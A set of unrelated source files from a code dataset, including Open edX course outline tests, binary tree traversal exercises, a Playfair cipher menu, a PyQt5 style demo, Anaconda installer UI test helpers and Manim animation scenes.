sequential2 = ItemFactory.create(category='sequential', parent_location=chapter.location)\n vertical = ItemFactory.create(category='vertical', parent_location=sequential.location)\n vertical2 = ItemFactory.create(category='vertical', parent_location=sequential2.location)\n course.children = [chapter]\n chapter.children = [sequential, sequential2]\n sequential.children = [vertical]\n sequential2.children = [vertical2]\n cls.courses.append(course)\n\n course = CourseFactory.create()\n with cls.store.bulk_operations(course.id):\n chapter = ItemFactory.create(category='chapter', parent_location=course.location)\n sequential = ItemFactory.create(\n category='sequential',\n parent_location=chapter.location,\n due=datetime.datetime.now(),\n graded=True,\n format='Homework',\n )\n vertical = ItemFactory.create(category='vertical', parent_location=sequential.location)\n course.children = [chapter]\n chapter.children = [sequential]\n sequential.children = [vertical]\n cls.courses.append(course)\n\n @classmethod\n def setUpTestData(cls):\n \"\"\"Set up and enroll our fake user in the course.\"\"\"\n cls.user = UserFactory(password=TEST_PASSWORD)\n for course in cls.courses:\n CourseEnrollment.enroll(cls.user, course.id)\n\n def setUp(self):\n \"\"\"\n Set up for the tests.\n \"\"\"\n super(TestCourseOutlinePage, self).setUp()\n self.client.login(username=self.user.username, password=TEST_PASSWORD)\n\n def test_outline_details(self):\n for course in self.courses:\n\n url = course_home_url(course)\n response = self.client.get(url)\n self.assertEqual(response.status_code, 200)\n response_content = response.content.decode(\"utf-8\")\n\n self.assertTrue(course.children)\n for chapter in course.children:\n self.assertIn(chapter.display_name, response_content)\n self.assertTrue(chapter.children)\n for sequential in chapter.children:\n self.assertIn(sequential.display_name, response_content)\n if sequential.graded:\n self.assertIn(sequential.due.strftime('%Y-%m-%d %H:%M:%S'), response_content)\n self.assertIn(sequential.format, response_content)\n self.assertTrue(sequential.children)\n for vertical in sequential.children:\n self.assertNotIn(vertical.display_name, response_content)\n\n\nclass TestCourseOutlineResumeCourse(SharedModuleStoreTestCase):\n \"\"\"\n Test start course and resume course for the course outline view.\n\n Technically, this mixes course home and course outline tests, but checking\n the counts of start/resume course should be done together to avoid false\n positives.\n\n \"\"\"\n @classmethod\n def setUpClass(cls):\n \"\"\"\n Creates a test course that can be used for non-destructive tests\n \"\"\"\n # setUpClassAndTestData() already calls setUpClass on SharedModuleStoreTestCase\n # pylint: disable=super-method-not-called\n with super(TestCourseOutlineResumeCourse, cls).setUpClassAndTestData():\n cls.course = cls.create_test_course()\n\n @classmethod\n def setUpTestData(cls):\n \"\"\"Set up and enroll our fake user in the course.\"\"\"\n cls.user = UserFactory(password=TEST_PASSWORD)\n CourseEnrollment.enroll(cls.user, cls.course.id)\n\n @classmethod\n def create_test_course(cls):\n \"\"\"\n Creates a test course.\n \"\"\"\n course = CourseFactory.create()\n with cls.store.bulk_operations(course.id):\n chapter = ItemFactory.create(category='chapter', parent_location=course.location)\n sequential = ItemFactory.create(category='sequential', parent_location=chapter.location)\n sequential2 = ItemFactory.create(category='sequential', parent_location=chapter.location)\n vertical = ItemFactory.create(category='vertical', parent_location=sequential.location)\n vertical2 = ItemFactory.create(category='vertical', parent_location=sequential2.location)\n course.children = [chapter]\n chapter.children = [sequential, sequential2]\n sequential.children = [vertical]\n sequential2.children = [vertical2]\n if hasattr(cls, 'user'):\n CourseEnrollment.enroll(cls.user, course.id)\n return course\n\n def setUp(self):\n \"\"\"\n Set up for the tests.\n \"\"\"\n super(TestCourseOutlineResumeCourse, self).setUp()\n self.client.login(username=self.user.username, password=TEST_PASSWORD)\n\n def visit_sequential(self, course, chapter, sequential):\n \"\"\"\n Navigates to the provided sequential.\n \"\"\"\n last_accessed_url = reverse(\n 'courseware_section',\n kwargs={\n 'course_id': course.id.to_deprecated_string(),\n 'chapter': chapter.url_name,\n 'section': sequential.url_name,\n }\n )\n self.assertEqual(200, self.client.get(last_accessed_url).status_code)\n\n def test_start_course(self):\n \"\"\"\n Tests that the start course button appears when the course has never been accessed.\n\n Technically, this is a course home test, and not a course outline test, but checking the counts of\n start/resume course should be done together to not get a false positive.\n\n \"\"\"\n course = self.course\n\n response = self.client.get(course_home_url(course))\n self.assertEqual(response.status_code, 200)\n\n self.assertContains(response, 'Start Course', count=1)\n self.assertContains(response, 'Resume Course', count=0)\n\n content = pq(response.content)\n self.assertTrue(content('.action-resume-course').attr('href').endswith('/course/' + course.url_name))\n\n def test_resume_course(self):\n \"\"\"\n Tests that two resume course buttons appear when the course has been accessed.\n \"\"\"\n course = self.course\n\n # first navigate to a sequential to make it the last accessed\n chapter = course.children[0]\n sequential = chapter.children[0]\n self.visit_sequential(course, chapter, sequential)\n\n # check resume course buttons\n response = self.client.get(course_home_url(course))\n self.assertEqual(response.status_code, 200)\n\n self.assertContains(response, 'Start Course', count=0)\n self.assertContains(response, 'Resume Course', count=2)\n\n content = pq(response.content)\n self.assertTrue(content('.action-resume-course').attr('href').endswith('/sequential/' + sequential.url_name))\n\n def test_resume_course_deleted_sequential(self):\n \"\"\"\n Tests resume course when the last accessed sequential is deleted and\n there is another sequential in the vertical.\n\n \"\"\"\n course = self.create_test_course()\n\n # first navigate to a sequential to make it the last accessed\n chapter = course.children[0]\n self.assertGreaterEqual(len(chapter.children), 2)\n sequential = chapter.children[0]\n sequential2 = chapter.children[1]\n self.visit_sequential(course, chapter, sequential)\n\n # remove one of the sequentials from the chapter\n with self.store.branch_setting(ModuleStoreEnum.Branch.draft_preferred, course.id):\n self.store.delete_item(sequential.location, self.user.id) # pylint: disable=no-member\n\n # check resume course buttons\n response = self.client.get(course_home_url(course))\n self.assertEqual(response.status_code, 200)\n\n self.assertContains(response, 'Start Course', count=0)\n self.assertContains(response, 'Resume Course', count=2)\n\n content = pq(response.content)\n self.assertTrue(content('.action-resume-course').attr('href').endswith('/sequential/' + sequential2.url_name))\n\n def test_resume_course_deleted_sequentials(self):\n \"\"\"\n Tests resume course when the last accessed sequential is deleted and\n there are no sequentials left in the vertical.\n\n \"\"\"\n course = self.create_test_course()\n\n # first navigate to a sequential to make it the last accessed\n chapter = course.children[0]\n self.assertEqual(len(chapter.children), 2)\n sequential = chapter.children[0]\n self.visit_sequential(course, chapter, sequential)\n\n # remove all sequentials from chapter\n with self.store.branch_setting(ModuleStoreEnum.Branch.draft_preferred, course.id):\n for sequential in chapter.children:\n self.store.delete_item(sequential.location, self.user.id) # pylint: disable=no-member\n\n # check resume course buttons\n response = self.client.get(course_home_url(course))\n self.assertEqual(response.status_code, 200)\n\n self.assertContains(response, 'Start Course', count=0)\n self.assertContains(response, 'Resume Course', count=1)\n\n\nclass TestCourseOutlinePreview(SharedModuleStoreTestCase):\n \"\"\"\n Unit tests for staff preview of the course outline.\n \"\"\"\n def update_masquerade(self, course, role, group_id=None, user_name=None):\n \"\"\"\n Toggle masquerade state.\n \"\"\"\n masquerade_url = reverse(\n 'masquerade_update',\n kwargs={\n 'course_key_string': unicode(course.id),\n }\n )\n response = self.client.post(\n masquerade_url,\n json.dumps({'role': role, 'group_id': group_id, 'user_name': user_name}),\n 'application/json'\n )\n self.assertEqual(response.status_code, 200)\n return response\n\n def test_preview(self):\n \"\"\"\n Verify the behavior of preview for the course outline.\n \"\"\"\n course = CourseFactory.create(\n start=datetime.datetime.now() - datetime.timedelta(days=30)\n )\n staff_user = StaffFactory(course_key=course.id, password=TEST_PASSWORD)\n CourseEnrollment.enroll(staff_user, course.id)\n\n future_date = datetime.datetime.now() + datetime.timedelta(days=30)\n with self.store.bulk_operations(course.id):\n chapter = ItemFactory.create(\n category='chapter',\n parent_location=course.location,\n display_name='First Chapter',\n )\n sequential = ItemFactory.create(category='sequential', parent_location=chapter.location)\n ItemFactory.create(category='vertical', parent_location=sequential.location)\n chapter = ItemFactory.create(\n category='chapter',\n parent_location=course.location,\n display_name='Future Chapter',\n start=future_date,\n )\n sequential = ItemFactory.create(category='sequential', parent_location=chapter.location)\n ItemFactory.create(category='vertical', parent_location=sequential.location)\n\n # Verify that a staff user sees a chapter with a due date in the future\n self.client.login(username=staff_user.username, password='test')\n url = course_home_url(course)\n response = self.client.get(url)\n self.assertEqual(response.status_code, 200)\n self.assertContains(response, 'Future Chapter')\n\n # Verify that staff masquerading as a learner does not see the future chapter.\n self.update_masquerade(course, role='student')\n response = self.client.get(url)\n self.assertEqual(response.status_code, 200)\n self.assertNotContains(response, 'Future Chapter')\n\n\n@ddt.ddt\nclass TestEmptyCourseOutlinePage(SharedModuleStoreTestCase):\n \"\"\"\n Test the new course outline view.\n \"\"\"\n @ddt.data(\n (FUTURE_DAY, 'This course has not started yet, and will launch on'),\n (PAST_DAY, \"We're still working on course content.\"),\n (DEFAULT_START_DATE, 'This course has not started yet.'),\n )\n @ddt.unpack\n def test_empty_course_rendering(self, start_date, expected_text):\n course = CourseFactory.create(start=start_date)\n test_user = UserFactory(password=TEST_PASSWORD)\n CourseEnrollment.enroll(test_user, course.id)\n self.client.login(username=test_user.username, password=TEST_PASSWORD)\n url = course_home_url(course)\n response = self.client.get(url)\n self.assertEqual(response.status_code, 200)\n self.assertContains(response, escape(expected_text))\n","repo_name":"tissx/tissx","sub_path":"openedx/features/course_experience/tests/views/test_course_outline.py","file_name":"test_course_outline.py","file_ext":"py","file_size_in_byte":15019,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"43571660469","text":"from simulator.receive import callback, main\nfrom unittest.mock import Mock, patch, call\nimport pika\nimport random\n\n\ndef test_callback():\n random.seed(42)\n open('results.txt', 'w').close()\n\n callback(None, None, None, b'TESTDATE Meter Watts: 4573')\n\n with open('results.txt') as file:\n test_line = file.readline()\n assert test_line == 'TESTDATE Meter Watts: 4573 PV Watts: 5754.841186120953 Total Watts: 10327.841186120953 \\n'\n\n\n\n\n@patch('pika.BlockingConnection')\n@patch('simulator.receive.callback')\ndef test_main(mock_callback, mock_blocking_connection):\n mock_conn = Mock()\n mock_channel = Mock()\n mock_conn.channel.return_value = mock_channel\n mock_blocking_connection.return_value = mock_conn\n\n main()\n\n mock_blocking_connection.assert_called_once_with(pika.ConnectionParameters(host='localhost'))\n mock_conn.channel.assert_called_once_with()\n mock_channel.queue_declare.assert_called_once_with(queue='meter')\n mock_channel.basic_consume.assert_called_once_with(queue='meter', on_message_callback=mock_callback, auto_ack=True)\n mock_channel.start_consuming.assert_called_once_with()\n","repo_name":"kebowen730/PV-Simulator","sub_path":"tests/test_receive.py","file_name":"test_receive.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"15300855268","text":"from time import sleep\nimport cipher as cp\nimport encrypt as en\n\ncounter = res = 0\n\nchoice = {\n 1: 'Escolher uma tabela de cifra nova',\n 2: 'Introduzir uma mensagem para cifrar (de um arquivo ou do stdin)',\n 3: 'Ver a mensagem cifrada',\n 4: 'Decifrar a mensagem',\n 5: 'Ver o alfabeto',\n 6: 'Terminar'\n}\n# Gera uma matriz inicial\nbase_matrix_array = cp.matrix_gen()\nbase_matrix = cp.format_matrix(base_matrix_array)\n\nuser_choices = {\n 'key': '',\n 'alphabet': 'YQDLGMJXFUVWCPBOSKRETHNAI',\n 'message': '',\n 'encrypted': '',\n 'decrypted': '',\n 'matriz': base_matrix\n}\n\nif __name__ == '__main__':\n while True:\n print()\n print(\"=\" * 30)\n print()\n\n print('Faça uma escolha:')\n for key, value in choice.items():\n print(key, value)\n print()\n res = int(input(\"Por favor, digite a sua resposta: \"))\n if res >= 7:\n print('Número incorreto.')\n sleep(2.5)\n print('Tente novamente.')\n sleep(2.5)\n continue\n\n if res == 1:\n choose_key = input('Deseja adicionar uma chave? [S/N] ').upper().strip()\n if choose_key in 'S':\n key = input('Insira a chave: ').upper().strip()\n user_choices['key'] = key\n print('Chave adicionada com sucesso!')\n choose_alphabet = input('Deseja adicionar um alfabeto? [S/N] ').upper().strip()\n if choose_alphabet in 'S':\n alphabet = input('Insira o alfabeto: ').upper().strip()\n user_choices['alphabet'] = alphabet\n print('Alfabeto adicionado com sucesso!')\n print('Gerando a matriz...')\n sleep(0.5)\n\n if user_choices['alphabet'] == '':\n matriz_array = cp.matrix_gen(user_choices['key'])\n else:\n matriz_array = cp.matrix_gen(user_choices['key'], user_choices['alphabet'])\n matriz = cp.format_matrix(matriz_array)\n\n print('Matriz gerada com sucesso!')\n print('A matriz foi escrita no arquivo \"matriz.txt\"')\n print('Para visualizar o novo arquivo, é necessário parar a atual execução do programa.')\n sleep(2.0)\n\n user_choices['matriz'] = matriz\n\n with open(\"matriz.txt\", \"w+\") as file:\n file.write(f'{user_choices[\"matriz\"]}')\n if res == 2:\n print(\"Insira a mensagem em um arquivo .txt com o nome 'mensagem.txt', e salve.\")\n sleep(1.0)\n message = cp.read_message(\"mensagem.txt\")\n user_choices['message'] = message\n print('Mensagem adicionada com sucesso!')\n sleep(2.5)\n if res == 3:\n if len(user_choices['message']) > 0:\n user_choices['encrypted'] = en.encrypt(user_choices['message'], user_choices['matriz'])\n print('Encriptando...')\n sleep(1.5)\n with open(\"encrypted.txt\", \"w+\") as file:\n file.write(f'{user_choices[\"encrypted\"]}')\n print('Mensagem encriptada com sucesso!')\n print('A mensagem foi guardada no arquivo \"encrypted.txt\"')\n print('Para visualizar o novo arquivo, é necessário parar a atual execução do programa.')\n sleep(2.5)\n else:\n print('É necessário definir uma mensagem antes de criptografar!')\n sleep(1.5)\n continue\n if res == 4:\n if len(user_choices['encrypted']) > 0:\n print('Decifrando a mensagem...')\n sleep(1.5)\n user_choices['decrypted'] = en.decrypt(user_choices['encrypted'], user_choices['matriz'])\n print('Mensagem decifrada com sucesso!')\n print(f'A mensagem decifrada é {user_choices[\"decrypted\"]}.')\n sleep(2.5)\n else:\n print('Não há nenhuma mensagem criptografada..')\n sleep(1.5)\n continue\n if res == 5:\n print(f'O atual alfabeto é {user_choices[\"alphabet\"]}.')\n sleep(2.5)\n if res == 6:\n break\n","repo_name":"Fer-L/playfair","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4216,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"34236636740","text":"diccionario_maestro = {}\n\ndef agregarCliente(diccionario):\n\n dni = int(input(\"Ingrese el DNI -> \"))\n\n nombre = input(\"Ingrese el nombre -> \")\n apellido = input(\"Ingrese el apellido -> \")\n mail = input(\"Ingese el mail -> \")\n\n diccionario[dni] = {nombre, apellido, mail}\n\n return diccionario\n\ndef eliminarCliente(diccionario):\n\n dni = int(input(\"Ingrese el DNI -> \"))\n\n try:\n del diccionario[dni]\n print(diccionario)\n except KeyError:\n print(\"El cliente que desea eliminar no se encuentra en la Base de Datos.\")\n\ndef getCliente(diccionario):\n\n dni = int(input(\"Ingrese el DNI -> \"))\n\n try:\n print(diccionario[dni])\n except KeyError:\n print(\"El cliente solicitado no se encuentra en la Base de Datos.\")\n\ndef terminar(diccionario):\n\n diccionario.clear()\n\n return diccionario\n\nprint(\"-----------------Base de Datos-------------------------\")\n\nflag = 1\n\nwhile flag == 1:\n\n print(\"1) Añadir cliente.\")\n print(\"2) Eliminar cliente.\")\n print(\"3) Mostrar cliente.\")\n print(\"4) Terminar.\")\n\n opcion = int(input(\"Seleccione una opción --> \"))\n\n if opcion == 1:\n\n print(agregarCliente(diccionario_maestro))\n\n elif opcion == 2:\n\n eliminarCliente(diccionario_maestro)\n\n elif opcion == 3:\n\n getCliente(diccionario_maestro)\n\n elif opcion == 4:\n\n print(terminar(diccionario_maestro))\n\n flag = int(input(\"Si desea continuar presione 1, de lo contrario 0 --> \"))\n\nif flag == 0:\n\n print(terminar(diccionario_maestro))","repo_name":"AgustinEGarcia/Informatorio-2da-Etapa-Python","sub_path":"diccionarios/diccionarios.py","file_name":"diccionarios.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"14360433992","text":"import csv\n\n# Read data\n# write data\n\n\n# Read csv data\nmovies_file_path = r\"C:\\Users\\91901\\Desktop\\stock_feeds\\files_data\\all_movies.csv\"\n\n# open\nfile_obj = open(movies_file_path, 'r')\n\nreader = csv.reader(file_obj)\nprint(reader)\nheaders = None\n\nmovies_1023_list = []\n# find out movies realed on 2013\nfilter_year = 2017\nfor index, row in enumerate(reader):\n if index == 0:\n headers = row\n else:\n year = int(row[1])\n if year < filter_year:\n movies_1023_list.append(row)\n\nprint(headers)\nprint(movies_1023_list)\n\n# Writing content to csv file\nfiltered_movies_file_path = r\"C:\\Users\\91901\\Desktop\\stock_feeds\\files_data\\filtered_movies.csv\"\nfile_obj_out = open(filtered_movies_file_path, 'w')\nwriter = csv.writer(file_obj_out)\n\nwriter.writerow(headers)\n# content\nfor row in movies_1023_list:\n writer.writerow(row)\n\n\n# using dictreader\nmovies_file_path = r\"C:\\Users\\91901\\Desktop\\stock_feeds\\files_data\\all_movies.csv\"\nfile_object = open(movies_file_path, 'r')\ndict_reader = csv.DictReader(file_object, fieldnames=('Tle','', 'Director'))\nprint(dict_reader)\nprint(dir(dict_reader))\n#print(next(dict_reader))\n#print(next(dict_reader))\nfor data in dict_reader:\n print(data)\n # if int(data['Release year']) <= 2017:\n # print(data)\n\n# csv dict writer\n\n\n\n","repo_name":"badranarayana/Python_2021","sub_path":"csv_file_modules.py","file_name":"csv_file_modules.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"31843585959","text":"\"\"\"\nnotes:\nbreath first traversal/ BFS = levelorder \ndepth first traversal/ DFS = preorder, inorder, postoredr.\n\"\"\"\nclass Node:\n def __init__(self, key):\n self.left = None\n self.right = None\n self.val = key\n\nspacecount = [2] #space count 3 will be okay for print bTree in 2d space.\n# print binary tree have 3 methods inorder, preorder, postorder traversal.\n\ndef symentric(root): #to check weather BT is symentric or not True/False\n if not root:\n return True\n def dfs(l, r):\n if not l and not r:\n return True\n if not l or not r:\n return False\n if l.val == r.val:\n return dfs(l.left, r.right) and dfs(l.right, r.left)\n return False \n \n return dfs(root.left, root.right) \n\ndef dfs(root, depth): # max depth of BT for both left and right.\n if not root:\n return depth\n return max( dfs(root.left, depth+1), dfs(root.right, depth+1))\n\ndef levelordercall(root):\n def levelorder(root):\n h = treehight(root)\n for i in range(0, h+1):\n currentlevel(root, i)\n\n def currentlevel(root, level):\n if not root:\n return\n if level == 1:\n print(root.val, end= ' ')\n elif level > 1:\n currentlevel(root.left, level-1)\n currentlevel(root.right, level-1)\n\n def treehight(node):\n if not node:\n return 0\n else:\n lhight = treehight(node.left)\n rhight = treehight(node.right)\n if lhight > rhight:\n return lhight +1\n else:\n return rhight +1\n return levelorder(root)\n\ndef levelOrder(root): #node -> left -> right.\n result = []\n if root is None:\n return result\n buf = [root]\n while len(buf):\n nodes = []\n lavel = []\n while len(buf):\n cur = buf.pop(0)\n lavel.append(cur.val)\n if (cur.left):\n nodes.append(cur.left)\n if (cur.right):\n nodes.append(cur.right)\n result.append(lavel)\n buf = nodes\n return result\n\ndef inorder(root): #left -> node -> right.\n if root:\n inorder(root.left)\n print(root.val, end= ' ')\n inorder(root.right)\n\ndef preorder(root): #node -> left -> right.\n if root:\n print(root.val, end = ' ')\n preorder(root.left)\n preorder(root.right) \n\ndef postorder(root): #left -> rigth -> node.\n if root:\n postorder(root.left)\n postorder(root.right)\n print(root.val, end= ' ') \n\ndef print2Dshape(root, space):\n if not root:\n return None\n\n space += spacecount[0]\n print2Dshape(root.right, space)\n print()\n for i in range(spacecount[0], space):\n print(end = ' ')\n\n print(root.val)\n print2Dshape(root.left, space)\n\ndef rootinsert(temp, key):\n if not temp: #if temp is not in tree then we have to make this key as a new root.\n root = Node(key)\n return None\n q = []\n q.append(temp)\n while len(q): #when this q is empty which means its starting from root.. and we are searching till \n temp = q[0] #all left and right so where we have space we will add this key there.. first preference is left and then right.\n q.pop(0) # or else it will add that element in that q list.. \n if not temp.left:\n temp.left = Node(key)\n break\n else:\n q.append(temp.left)\n if not temp.right:\n temp.right = Node(key)\n break\n else:\n q.append(temp.right)\n \ndef getLeafCount(node):\n if node is None:\n return 0 \n if(node.left is None and node.right is None):\n return 1 \n else:\n return getLeafCount(node.left) + getLeafCount(node.right)\n\n \n\nif __name__ == '__main__':\n root = Node(1)\n root.left = Node(2)\n root.right = Node(3)\n root.left.left = Node(4)\n\n\n print('printing inorder traversal')\n inorder(root)\n print()\n\n print('printing preorder traversal')\n preorder(root)\n print()\n\n print('printing postorder traversal')\n postorder(root)\n print()\n\n print('printing levelorder traversal')\n inix = levelOrder(root)\n print(inix)\n print()\n\n rootinsert(root, 10)\n rootinsert(root, 11)\n rootinsert(root, 12)\n\n levelordercall(root)\n\n print( dfs(root, 0)) \n\n print( symentric(root))\n\n print()\n print2Dshape(root, 0)\n\n print(getLeafCount(root))\n\n ","repo_name":"Gokul-raaj-5999/Programming_Coding","sub_path":"My_personal_Coding/DataStructures/DSA_Binary_Tree.py","file_name":"DSA_Binary_Tree.py","file_ext":"py","file_size_in_byte":4512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"35358339923","text":"# @Time : 2021/4/14 10:25\n# @Author : lucas\n# @File : change_style.py\n# @Project : pyqt\n# @Software: PyCharm\nfrom PyQt5.QtWidgets import (QDialog, QApplication,\n QStyleFactory, QComboBox,\n QLabel, QVBoxLayout)\n\n\nclass MainWindow(QDialog):\n def __init__(self, parent=None):\n super(MainWindow, self).__init__(parent)\n\n styleComboBox = QComboBox()\n # 获取本机支持的主题,并添加到QComboBox中\n styleComboBox.addItems(QStyleFactory.keys())\n\n styleLabel = QLabel(\"Style:\")\n\n # 绑定槽函数,\n styleComboBox.activated[str].connect(self.changeStyle)\n\n self.vbox = QVBoxLayout()\n self.setLayout(self.vbox)\n self.vbox.addWidget(styleLabel)\n self.vbox.addWidget(styleComboBox)\n self.vbox.addStretch()\n\n self.setWindowTitle(\"Styles\") # 设置标题\n self.changeStyle('Fusion') # 启动时使用Fusion风格\n\n # 槽函数\n def changeStyle(self, styleName):\n # 改变Style\n QApplication.setStyle(QStyleFactory.create(styleName))\n\n\nif __name__ == '__main__':\n import sys\n\n app = QApplication(sys.argv)\n win = MainWindow()\n win.show()\n sys.exit(app.exec_())\n","repo_name":"lucas234/learning-notes","sub_path":"Python/pyqt5/example/change_style.py","file_name":"change_style.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"74984684260","text":"from collections import UserDict\nfrom time import sleep\nfrom step_logger import log_step\n\n\nclass InstallerSteps(UserDict):\n WELCOME = \"installation-language\"\n INSTALLATION_METHOD = \"installation-method\"\n CUSTOM_MOUNT_POINT = \"mount-point-mapping\"\n DISK_CONFIGURATION = \"disk-configuration\"\n DISK_ENCRYPTION = \"disk-encryption\"\n REVIEW = \"installation-review\"\n PROGRESS = \"installation-progress\"\n\n _steps_jump = {}\n _steps_jump[WELCOME] = INSTALLATION_METHOD\n _steps_jump[INSTALLATION_METHOD] = [DISK_ENCRYPTION, CUSTOM_MOUNT_POINT]\n _steps_jump[DISK_ENCRYPTION] = REVIEW\n _steps_jump[CUSTOM_MOUNT_POINT] = REVIEW\n _steps_jump[REVIEW] = PROGRESS\n _steps_jump[PROGRESS] = []\n\nclass Installer():\n def __init__(self, browser, machine):\n self.browser = browser\n self.machine = machine\n self.steps = InstallerSteps()\n\n @log_step(snapshot_before=True)\n def begin_installation(self, should_fail=False, confirm_erase=True):\n current_page = self.get_current_page()\n\n self.browser.click(\"button:contains('Erase data and install')\")\n\n if confirm_erase:\n self.browser.click(f\"#{self.steps.REVIEW}-disk-erase-confirm\")\n else:\n self.browser.click(\".pf-v5-c-modal-box button:contains(Back)\")\n\n if should_fail:\n self.wait_current_page(current_page)\n else:\n self.wait_current_page(self.steps._steps_jump[current_page])\n\n def reach(self, target_page):\n path = []\n prev_pages = [target_page]\n current_page = self.get_current_page()\n\n while current_page not in prev_pages:\n page = prev_pages[0]\n path.append(page)\n prev_pages = [k for k, v in self.steps._steps_jump.items() if page in v]\n\n while self.get_current_page() != target_page:\n next_page = path.pop()\n self.next(next_page=next_page)\n\n @log_step()\n def next(self, should_fail=False, next_page=\"\"):\n current_page = self.get_current_page()\n # If not explicitly specified, get the first item for next page from the steps dict\n if not next_page:\n if isinstance(self.steps._steps_jump[current_page], list):\n next_page = self.steps._steps_jump[current_page][0]\n else:\n next_page = self.steps._steps_jump[current_page]\n\n # Wait for a disk to be pre-selected before clicking 'Next'.\n # FIXME: Find a better way.\n if current_page == self.steps.INSTALLATION_METHOD:\n sleep(2)\n\n self.browser.click(\"button:contains(Next)\")\n expected_page = current_page if should_fail else next_page\n self.wait_current_page(expected_page)\n return expected_page\n\n @log_step()\n def check_next_disabled(self, disabled=True):\n \"\"\"Check if the Next button is disabled.\n\n :param disabled: True if Next button should be disabled, False if not\n :type disabled: bool, optional\n \"\"\"\n value = \"false\" if disabled else \"true\"\n self.browser.wait_visible(f\"#installation-next-btn:not([aria-disabled={value}]\")\n\n @log_step(snapshot_before=True)\n def back(self, should_fail=False, previous_page=\"\"):\n current_page = self.get_current_page()\n\n self.browser.click(\"button:contains(Back)\")\n\n if should_fail:\n self.wait_current_page(current_page)\n else:\n if not previous_page:\n previous_page = [k for k, v in self.steps._steps_jump.items() if current_page in v][0]\n\n self.wait_current_page(previous_page)\n\n @log_step()\n def open(self, step=\"installation-language\"):\n self.browser.open(f\"/cockpit/@localhost/anaconda-webui/index.html#/{step}\")\n self.wait_current_page(step)\n # Ensure that the logo is visible before proceeding as pixel tests get racy otherwise\n self.browser.wait_js_cond(\"document.querySelector('.logo').complete\")\n\n def click_step_on_sidebar(self, step=None):\n step = step or self.get_current_page()\n self.browser.click(f\"#{step}\")\n\n def get_current_page(self):\n return self.browser.eval_js('window.location.hash;').replace('#/', '') or self.steps[0]\n\n @log_step(snapshot_after=True)\n def wait_current_page(self, page):\n self.browser.wait_not_present(\"#installation-destination-next-spinner\")\n self.browser.wait_js_cond(f'window.location.hash === \"#/{page}\"')\n\n if page == self.steps.PROGRESS:\n self.browser.wait_visible(\".pf-v5-c-progress-stepper\")\n else:\n self.browser.wait_visible(f\"#{page}.pf-m-current\")\n\n @log_step(snapshot_after=True)\n def check_prerelease_info(self, is_expected=None):\n \"\"\" Checks whether the pre-release information is visible or not.\n\n If is_expected is not set, the expected state is deduced from .buildstamp file.\n\n :param is_expected: Is it expected that the info is visible or not, defaults to None\n :type is_expected: bool, optional\n \"\"\"\n if is_expected is not None:\n value = str(is_expected)\n else:\n value = self.machine.execute(\"grep IsFinal= /.buildstamp\").split(\"=\", 1)[1]\n\n # Check betanag\n if value.lower() == \"false\":\n self.browser.wait_visible(\"#betanag-icon\")\n else:\n self.browser.wait_not_present(\"#betang-icon\")\n\n @log_step()\n def quit(self):\n self.browser.click(\"#installation-quit-btn\")\n self.browser.wait_visible(\"#installation-quit-confirm-dialog\")\n self.browser.click(\"#installation-quit-confirm-btn\")\n","repo_name":"rhinstaller/anaconda","sub_path":"ui/webui/test/helpers/installer.py","file_name":"installer.py","file_ext":"py","file_size_in_byte":5639,"program_lang":"python","lang":"en","doc_type":"code","stars":494,"dataset":"github-code","pt":"35"} +{"seq_id":"26040715237","text":"def difficultNumber(num):\r\n count=0\r\n\r\n while num !=6174:\r\n num = list(str(num))\r\n if len(num) < 4:\r\n while len(num) != 4:\r\n num.insert(1,'0')\r\n elif len(num) > 4:\r\n print (\"The number should only be 4 digit.\")\r\n break\r\n \r\n\r\n count +=1\r\n\r\n des = int(''.join(sorted(num, reverse=True)))\r\n asc = int(''.join(sorted(num)))\r\n\r\n if des == asc :\r\n print (\"Please enter a 4 digit number with atleast two distinct digits.\")\r\n else:\r\n num = int(des) - int(asc)\r\n return count\r\n\r\nvalue = int(input(\"Enter the 4 digit number:\"))\r\nprint(difficultNumber(value))","repo_name":"Zorro30/Coderbyte_python_exercise","sub_path":"cb_ex9.py","file_name":"cb_ex9.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"30903438995","text":"from manimlib.imports import *\n\nclass line(Scene):\n #A few simple shapes\n def construct(self):\n line=Line(np.array([3,0,0]),np.array([5,0,0]))\n triangle=Polygon(np.array([0,0,0]),np.array([1,1,0]),np.array([1,-1,0]))\n\n self.play(GrowFromCenter(line))\n self.wait(1)\n self.play(Transform(line,triangle))\n self.wait(1)\n\nclass AddingMoreText(Scene):\n #Playing around with text properties\n def construct(self):\n quote = TextMobject(\"Imagination is more important than knowledge\")\n quote.set_color(RED)\n quote.to_edge(UP)\n quote2 = TextMobject(\"A person who never made a mistake never tried anything new\")\n quote2.set_color(YELLOW)\n author=TextMobject(\"-Albert Einstein\")\n author.scale(0.75)\n author.next_to(quote.get_corner(DOWN+RIGHT),DOWN)\n\n self.add(quote)\n self.add(author)\n self.wait(2)\n self.play(Transform(quote,quote2),\n ApplyMethod(author.move_to,quote2.get_corner(DOWN+RIGHT)+DOWN+2*LEFT))\n\n self.play(ApplyMethod(author.scale,1.5))\n author.match_color(quote2)\n self.play(FadeOut(quote))\n\n\n\nclass check_koreanText(Scene):\n def construct(self):\n quote = TextMobject(\"manim doesnt support korean\")\n quoteB = TextMobject(\"hwan\")\n quoteB.set_color(BLUE)\n quoteB.next_to(quote.get_corner(UP+LEFT),UP)\n quote2 = TextMobject(\"only can use english\")\n quote2.set_color(RED)\n quote3 = TextMobject(\"hello...\")\n\n self.add(quote)\n self.add(quoteB)\n self.wait(2)\n self.play(Transform(quote, quote2), ApplyMethod(quoteB.move_to, quote2.get_corner(UP+RIGHT)+UP*2))\n 